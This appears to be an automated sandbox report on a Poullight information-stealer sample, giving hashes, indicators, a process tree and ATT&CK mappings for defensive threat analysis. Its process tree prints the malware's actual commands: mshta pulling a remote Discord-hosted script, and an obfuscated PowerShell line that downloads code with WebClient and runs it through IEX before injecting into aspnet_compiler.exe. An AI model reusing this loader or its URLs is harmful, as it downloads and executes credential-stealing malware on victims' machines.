poullight | 7fc66f244e022341520c4af91172ec3833c36b95624ee5c510086cd8d71db7ae

General

Target

eufive_20210816-144801.exe
Size

482KB
MD5

5ba895fb23729ffbb001e5dfe74aa132
SHA1

7a2b094329f369ff5a67971c3a71c46775e93000
SHA256

7fc66f244e022341520c4af91172ec3833c36b95624ee5c510086cd8d71db7ae
SHA512

34ad4a38eb4983018e1c626550378ef4622be2fb02b74d1bacf9155cc835fb838a092c53b5b46e1ee45eac4ba13e723e661bb5e969480a56d2839d14d79c8cde

Score

10^/10

poullight stealer trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://cdn.discordapp.com/attachments/875404916150116402/875405053467459594/Minutes.txt

Signatures

Poullight
Poullight is an information stealer first seen in March 2020.
trojan stealer poullight

Poullight Stealer Payload 3 IoCs

Processes:

resource	yara_rule
behavioral1/memory/296-73-0x0000000000400000-0x0000000000420000-memory.dmp	family_poullight
behavioral1/memory/296-74-0x000000000041A94E-mapping.dmp	family_poullight
behavioral1/memory/296-75-0x0000000000400000-0x0000000000420000-memory.dmp	family_poullight

Blocklisted process makes network request 3 IoCs

Processes:

mshta.exepowershell.exe

flow pid process

6 1900 mshta.exe
8 1900 mshta.exe
9 868 powershell.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 868 set thread context of 296 868 powershell.exe aspnet_compiler.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Modifies Internet Explorer settings 1 TTPs 1 IoCs
adware spyware

Modify Registry
T1112

Processes:

mshta.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main mshta.exe
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exeaspnet_compiler.exe

pid process

868 powershell.exe
868 powershell.exe
296 aspnet_compiler.exe
296 aspnet_compiler.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exeaspnet_compiler.exe

description pid process

Token: SeDebugPrivilege 868 powershell.exe
Token: SeDebugPrivilege 296 aspnet_compiler.exe

flow	pid	process
6	1900	mshta.exe
8	1900	mshta.exe
9	868	powershell.exe

description	pid	process	target process
PID 868 set thread context of 296	868	powershell.exe	aspnet_compiler.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

pid	process
868	powershell.exe
868	powershell.exe
296	aspnet_compiler.exe
296	aspnet_compiler.exe

description	pid	process
Token: SeDebugPrivilege	868	powershell.exe
Token: SeDebugPrivilege	296	aspnet_compiler.exe

Suspicious use of WriteProcessMemory 15 IoCs

Processes:

eufive_20210816-144801.exemshta.exepowershell.exe

description	pid	process	target process
PID 1672 wrote to memory of 1900	1672	eufive_20210816-144801.exe	mshta.exe
PID 1672 wrote to memory of 1900	1672	eufive_20210816-144801.exe	mshta.exe
PID 1672 wrote to memory of 1900	1672	eufive_20210816-144801.exe	mshta.exe
PID 1900 wrote to memory of 868	1900	mshta.exe	powershell.exe
PID 1900 wrote to memory of 868	1900	mshta.exe	powershell.exe
PID 1900 wrote to memory of 868	1900	mshta.exe	powershell.exe
PID 868 wrote to memory of 296	868	powershell.exe	aspnet_compiler.exe
PID 868 wrote to memory of 296	868	powershell.exe	aspnet_compiler.exe
PID 868 wrote to memory of 296	868	powershell.exe	aspnet_compiler.exe
PID 868 wrote to memory of 296	868	powershell.exe	aspnet_compiler.exe
PID 868 wrote to memory of 296	868	powershell.exe	aspnet_compiler.exe
PID 868 wrote to memory of 296	868	powershell.exe	aspnet_compiler.exe
PID 868 wrote to memory of 296	868	powershell.exe	aspnet_compiler.exe
PID 868 wrote to memory of 296	868	powershell.exe	aspnet_compiler.exe
PID 868 wrote to memory of 296	868	powershell.exe	aspnet_compiler.exe

C:\Users\Admin\AppData\Local\Temp\eufive_20210816-144801.exe
"C:\Users\Admin\AppData\Local\Temp\eufive_20210816-144801.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1672

C:\Windows\System32\mshta.exe
"C:\Windows\System32\mshta.exe" https://cdn.discordapp.com/attachments/875404916150116402/875405147503751198/Sekonds.txt
2⤵
- Blocklisted process makes network request
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:1900

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $SRDTFYGUHIUGYFTDRYDTYUFUGIHLUGYFUTDUFY='https://cdn.discordapp.com/attachments/875404916150116402/875405053467459594/Minutes.txt';$SFDDHGFJGKHLJKHJGHFGFGDHFGHK='DOWNSDFGDHFJGKHFGHDFGDHJGKHFJGDHFSHGDHJKGFHGDHFSHGDJFKJGKJKHFJGDHING'.Replace('SDFGDHFJGKHFGHDFGDHJGKHFJGDHFSHGDHJKGFHGDHFSHGDJFKJGKJKHFJGDH','LOADSTR');$RGHTFYGUKLHIDZXFCGVJHBHVGCFXDZFGXFHCGJV='SYEFSRGDTHYFUGKYFTDRSEASGRDHTFYUGKKGYFTDHRGDM.NEDTHFYJGUKHGYFTDRYTFYGUHGYFTDYFYGUTDUFYGUBClIENT'.Replace('EFSRGDTHYFUGKYFTDRSEASGRDHTFYUGKKGYFTDHRGD','STE').Replace('DTHFYJGUKHGYFTDRYTFYGUHGYFTDYFYGUTDUFYGU','T.WE');$ESTRDYTUFYGIUHIJOSERDTFYJGUKYTDRSTDYFUGK = '(NAFSHDGFJGKHLGFSGRHTDYFJGUKYFTDHRSHDTFYBJECT $RGHTFYGUKLHIDZXFCGVJHBHVGCFXDZFGXFBBBBBBBBBBBBBBHHHHHHHHHHHHHRDTFYGUHIUGYFTDRYDTYUFUGIHLUGYFUTDUFY)'.Replace('AFSHDGFJGKHLGFSGRHTDYFJGUKYFTDHRSHDTFY','EW-O').Replace('BBBBBBBBBBBBBBHHHHHHHHHHHHH','HCGJV ).$SFDDHGFJGKHLJKHJGHFGFGDHFGHK($S');$ERTTDYFYUGUYTREZRTFYGKUFDSS45HD6F7GK=&('I'+'EX')($ESTRDYTUFYGIUHIJOSERDTFYJGUKYTDRSTDYFUGK -Join '')|&('I'+'EX');
3⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:868

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:296

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/296-73-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/296-77-0x0000000004C60000-0x0000000004C61000-memory.dmp

Filesize
4KB

Download
memory/296-75-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/296-74-0x000000000041A94E-mapping.dmp

Download
memory/868-68-0x000000001AA74000-0x000000001AA76000-memory.dmp

Filesize
8KB

Download
memory/868-65-0x000000001AAF0000-0x000000001AAF1000-memory.dmp

Filesize
4KB

Download
memory/868-66-0x00000000023A0000-0x00000000023A1000-memory.dmp

Filesize
4KB

Download
memory/868-67-0x000000001AA70000-0x000000001AA72000-memory.dmp

Filesize
8KB

Download
memory/868-69-0x0000000001EB0000-0x0000000001EB1000-memory.dmp

Filesize
4KB

Download
memory/868-70-0x000000001B700000-0x000000001B701000-memory.dmp

Filesize
4KB

Download
memory/868-71-0x000000001C5C0000-0x000000001C5C1000-memory.dmp

Filesize
4KB

Download
memory/868-72-0x0000000002470000-0x000000000247E000-memory.dmp

Filesize
56KB

Download
memory/868-64-0x0000000002620000-0x0000000002621000-memory.dmp

Filesize
4KB

Download
memory/868-63-0x000007FEFC221000-0x000007FEFC223000-memory.dmp

Filesize
8KB

Download
memory/868-62-0x0000000000000000-mapping.dmp

Download
memory/1672-59-0x0000000000830000-0x0000000000831000-memory.dmp

Filesize
4KB

Download
memory/1900-61-0x0000000000000000-mapping.dmp

Download

Analysis

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